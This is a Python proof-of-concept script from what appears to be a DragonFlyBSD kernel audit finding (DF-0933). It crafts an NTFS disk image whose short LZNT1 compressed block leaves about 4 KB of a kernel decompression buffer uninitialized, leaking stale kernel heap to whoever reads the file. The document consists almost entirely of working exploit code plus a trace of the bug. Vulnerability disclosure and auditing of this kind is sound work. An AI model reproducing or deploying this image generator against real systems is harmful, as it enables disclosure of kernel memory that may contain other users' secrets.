DragonFlyBSD Kernel Audit
DF-0933 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0933 NTFS image crafter -- uninitialized output tail in ntfs_uncompblock
(sys/vfs/ntfs/ntfs_compr.c:68-92).

Builds a minimal mountable NTFS image containing a compressed file whose
on-disk compression unit starts with the 3-byte LZNT1 block

    0x01 0x80 0x00      (zero-padded to a full 4096-B cluster)

    header 0x8001 (LE): bit15=1 COMPRESSED, len = 0x001 = 1
    ctag   0x00:        all 8 sub-tokens are LITERALS

ntfs_uncompblock trace on this block:
    len=1; cpos=2; pos=0
    outer while: cpos(2) < len+3(4)  -> true
      ctag = cbuf[2] = 0x00; cpos=3
      inner for i=0..7 (ctag==0 -> all literals):
        buf[0..7] = cbuf[3..10] (zeros); pos=8; cpos=11
    outer while: cpos(11) < 4  -> false  -> EXIT
    return len+3 = 4
    -> buf[8..4095] NEVER WRITTEN, NEVER ZEROED  (4088 B of stale heap)

The caller's uup (ntfs_subr.c:1687-1690) is kmalloc'd with M_WAITOK (no
M_ZERO), so buf[8..4095] holds stale slab content which uiomove at
ntfs_subr.c:1722-1725 ships to the reader.  Pure info leak (CWE-908).

Image layout is identical to the DF-0932 crafter (standard NTFS,
bps=512, spc=8 -> cluster=4096); only the LZNT1 trigger payload differs.
"""

import struct
import sys

# ---- geometry ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
MFT_CLUS    = 9                    # records 0..35 (36 KB)
UPCASE_CN   = 50
UPCASE_NCLU = 32                   # 131072 B
TRIG_CN     = 44                   # 1 cluster with the LZNT1 trigger block

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    buf[12] = 0          # a_compression
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 18, 0)
    struct.pack_into("<H", buf, 20, dataoff)
    struct.pack_into("<H", buf, 22, 0)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen, dataoff=0x40):
    """Plain non-resident attribute (NOT compressed)."""
    runs_bytes = runs_bytes + bytes([0x00])
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01
    buf[9]  = 0
    buf[10] = dataoff & 0xFF
    buf[11] = 0
    buf[12] = 0
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 16, 0)
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<H", buf, 34, 0)
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def compressed_data_attr(runs_bytes, allocated, datalen, dataoff=0x40):
    runs_bytes = runs_bytes + bytes([0x00])
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01
    buf[9]  = 0
    buf[10] = dataoff & 0xFF
    buf[11] = 0
    buf[12] = 1               # a_compression = 1   *** COMPRESSION FLAG ***
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 16, 0)
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<H", buf, 34, 1)               # a_compressalg = 1
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)         # initialized
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<Q", rec, 32, 0)
    struct.pack_into("<H", rec, 40, 0)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


def well_formed_index_root(entries):
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)
    struct.pack_into("<I", hdr, 4, 0x01)
    ir_size = 0x1000
    entries_size = sum(len(e) for e in entries)
    struct.pack_into("<I", hdr, 8, ir_size)
    struct.pack_into("<I", hdr, 12, 1)
    struct.pack_into("<I", hdr, 16, 0x10)
    struct.pack_into("<I", hdr, 20, entries_size)
    struct.pack_into("<I", hdr, 24, entries_size)
    struct.pack_into("<H", hdr, 28, 0x0000)
    struct.pack_into("<H", hdr, 30, 0x0000)
    data = bytes(hdr)
    for e in entries:
        data += e
    return data


def index_entry_file(ino, fname, last=False):
    wname = fname.encode("utf-16-le")
    fnamelen = len(fname)
    body = 0x52 + fnamelen * 2
    if last:
        e = bytearray(0x58)
        struct.pack_into("<I", e, 0x0C, 0x00000002)
        struct.pack_into("<H", e, 0x08, len(e))
        return bytes(e)
    e = bytearray(body)
    struct.pack_into("<I", e, 0x00, ino)
    struct.pack_into("<H", e, 0x08, body)
    struct.pack_into("<I", e, 0x0C, 0x00000000)
    struct.pack_into("<I", e, 0x10, 0x05)
    struct.pack_into("<Q", e, 0x40, 0x0000000000001000)
    struct.pack_into("<Q", e, 0x48, 0x0000000000000000)
    e[0x50] = fnamelen & 0xFF
    e[0x51] = 0x01
    for k, w in enumerate(wname.decode("utf-16-le").encode("utf-16-le").decode("utf-16-le")):
        struct.pack_into("<H", e, 0x52 + k * 2, ord(w))
    return bytes(e)


def attrdef_data():
    e0 = bytearray(160)
    name = "$STANDARD_INFORMATION"
    for i, ch in enumerate(name):
        struct.pack_into("<H", e0, i * 2, ord(ch))
    struct.pack_into("<I", e0, 128, A_STD)
    return bytes(e0) + bytes(160)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def _enc_varint(n):
    out = bytearray()
    while True:
        b = n & 0xFF
        n >>= 8
        if n == 0:
            out.append(b)
            break
        out.append(b)
    return bytes(out)


def _enc_svarint(n):
    if n >= 0:
        out = bytearray()
        v = n
        while True:
            b = v & 0xFF
            v >>= 8
            if v == 0 and (b & 0x80) == 0:
                out.append(b)
                break
            out.append(b)
        return bytes(out)
    raise NotImplementedError("negative offsets not used in this PoC")


def runs_encode_normal(cluster, length):
    len_b = _enc_varint(length)
    off_b = _enc_svarint(cluster)
    hdr = (len(len_b) & 0xF) | ((len(off_b) & 0xF) << 4)
    return bytes([hdr]) + len_b + off_b


def runs_encode_sparse(length):
    len_b = _enc_varint(length)
    hdr = (len(len_b) & 0xF)
    return bytes([hdr]) + len_b


def build(out_path):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    MFT_CLUS_N = MFT_CLUS
    mft_alloc = MFT_CLUS * CLU
    mft_data  = MFT_CLUS * CLU

    # record 0: $MFT
    runs0 = runs_encode_normal(MFTCN, MFT_CLUS)
    rec0 = mft_record(1, 1, 0,
                      nonresident_data_attr(runs0, mft_alloc, mft_data) +
                      term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # record 4: $AttrDef
    ad = attrdef_data()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # record 5: root dir with one entry "F" -> record 32
    e_file = index_entry_file(32, "F")
    e_last = index_entry_file(0, "", last=True)
    iroot = well_formed_index_root([e_file, e_last])
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    NTFS_FRFLAG_DIR = 0x0002
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # record 6: $Bitmap (resident)
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # record 10: $UpCase -- non-resident at clu 50..81
    runs10 = runs_encode_normal(UPCASE_CN, UPCASE_NCLU)
    nr10 = nonresident_data_attr(runs10, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr10 + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10
    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    # === record 32: "F" -- the COMPRESSED FILE (DF-0933 trigger) ===
    # 16-cluster compression unit: 1 allocated cluster (clu 44) + 15 sparse.
    # Allocated cluster holds the 3-byte LZNT1 trigger padded to 4096 B with
    # 0x00.  Reading the file makes ntfs_readattr take the compressed branch
    # (init = 4096 != 65536 and != 0) and call ntfs_uncompunit, which calls
    # ntfs_uncompblock on our short block.  The block decompresses to only
    # 8 output bytes; buf[8..4095] is never written/zeroed -> stale uup
    # slab content leaks to the reader.
    trigger = bytes([0x01, 0x80, 0x00])
    clu44 = bytearray(CLU)
    clu44[0:len(trigger)] = trigger
    img[TRIG_CN * CLU:(TRIG_CN + 1) * CLU] = clu44

    runs32 = (runs_encode_normal(TRIG_CN, 1) +
              runs_encode_sparse(15))
    file_datalen = 16 * CLU
    file_alloc   = 16 * CLU
    cd = compressed_data_attr(runs32, file_alloc, file_datalen)

    rec32 = mft_record(2, 1, 0, cd + term_attr())
    off = MFTCN * CLU + 32 * RECSZ
    img[off:off + RECSZ] = rec32

    with open(out_path, "wb") as f:
        f.write(img)

    print(f"[+] wrote {out_path} ({len(img)} bytes)")
    print(f"[+] geometry: bps={BPS} spc={SPC} clu={CLU} mftrec={RECSZ} mftcn={MFTCN}")
    print(f"[+] record 32 'F' (compressed) at MFT offset {32*RECSZ}")
    print(f"[+] trigger LZNT1 block at clu {TRIG_CN} (3 B + zero pad to {CLU})")
    print(f"[+] compression unit: 1 allocated + 15 sparse -> init=4096")
    print(f"[+] trigger payload: {' '.join(f'{b:02X}' for b in trigger)}")
    print(f"[+]   header 0x8001: COMPRESSED, len=1, ctag=0x00 (8 literals)")
    print(f"[+]   -> decompresses buf[0..7] only; buf[8..4095] uninitialized")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img"
    build(out)